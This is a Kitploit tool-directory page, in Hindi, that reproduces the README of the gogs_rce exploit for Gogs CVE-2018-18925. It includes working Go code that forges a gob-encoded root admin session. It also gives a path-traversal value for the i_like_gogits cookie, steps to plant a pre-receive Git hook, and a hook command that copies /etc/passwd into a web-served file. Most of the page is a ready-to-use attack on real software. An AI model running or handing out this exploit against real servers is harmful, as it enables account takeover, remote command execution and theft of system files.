Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Gogs_RCE — Gogs RCE (CVE-2018-18925) के लिए एक्सप्लॉइट जो सत्र जालसाज़ी (session forgery) और Git हुक इंजेक्शन का लाभ उठाकर रूट विशेषाधिकारों के साथ मनमाना कमांड निष्पादन प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/jas502n/gogs_rce
प्रमाणीकरण और प्राधिकरणविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubjas502n/gogs_rce

Gogs_RCE

Gogs RCE (CVE-2018-18925) के लिए एक्सप्लॉइट जो सत्र जालसाज़ी (session forgery) और Git हुक इंजेक्शन का लाभ उठाकर रूट विशेषाधिकारों के साथ मनमाना कमांड निष्पादन प्राप्त करता है।

रिपॉजिटरी देखें
164106 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Gogs_RCE भेद्यता पुनरुत्पादन

0x01 फ्रंटएंड पर सामान्य खाता पंजीकरण

0x02 Go में फर्जी एडमिन सत्र संकलित करना

go run main.go

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data,0777)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

यह वर्तमान निर्देशिका में data फ़ाइल उत्पन्न करेगा

root@kali:~/go/demo# cat readme.txt 
go run main.go 

0eff81040102ff82000110011000005aff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c060004726f6f74
root@kali:~/go/demo# cat data |xxd
00000000: 0eff 8104 0102 ff82 0001 1001 1000 005a  ...............Z
00000010: ff82 0003 0673 7472 696e 670c 0a00 085f  .....string...._
00000020: 6f6c 645f 7569 6406 7374 7269 6e67 0c03  old_uid.string..
00000030: 0001 3106 7374 7269 6e67 0c05 0003 7569  ..1.string....ui
00000040: 6405 696e 7436 3404 0200 0206 7374 7269  d.int64.....stri
00000050: 6e67 0c07 0005 756e 616d 6506 7374 7269  ng....uname.stri
00000060: 6e67 0c06 0004 726f 6f74                 ng....root
root@kali:~/go/demo# 

0x03 सामान्य उपयोगकर्ता द्वारा नया संस्करण प्रकाशित करना

अनुलग्नक: http://10.20.24.189:18080/attachments/c58bf501-7163-44a8-b77d-79c8396609bb

कुकी फ़ील्ड i_like_gogits को नए संस्करण के फ़ाइल पथ पर सेट करें, पहले 2 अक्षरों को जोड़ते हुए उदाहरण के लिए:

attachments/c58bf501-7163-44a8-b77d-79c8396609bb

i_like_gogits=../attachments/c/5/c58bf501-7163-44a8-b77d-79c8396609bb

0x04 पृष्ठ रीफ़्रेश करने पर root एडमिन खाता बन जाता है

संशोधन के बाद

root खाता

0x05 रिपॉजिटरी सेटिंग्स, Git हुक प्रबंधित करें, हुक का नाम pre-receive

जब सर्वर Linux प्लेटफ़ॉर्म पर हो, तो सीधे शेल स्क्रिप्ट लिखें और कमांड निष्पादित करें।

कमांड रिपॉजिटरी में नई फ़ाइल अपलोड करने के बाद ट्रिगर होती है।

0x06 कमांड इको-प्रशासन पैनल-अनुप्रयोग कॉन्फ़िगरेशन प्रबंधन-स्टैटिक फ़ाइल रूट निर्देशिका

स्टैटिक फ़ाइल रूट निर्देशिका के माध्यम से पूर्ण पथ प्राप्त करें: उदाहरण के लिए

静态文件根目录    /app/gogs

शेल स्क्रिप्ट सामग्री:

cat /etc/passwd > /app/gogs/public/js/1.js

वेबसाइट इको पथ:

https://127.0.0.1:3000/js/1.js

संदर्भ लिंक:

Cannot execute custom hooks on Windows #4255

https://github.com/gogs/gogs/issues/4255

https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925

टूल डाउनलोड करें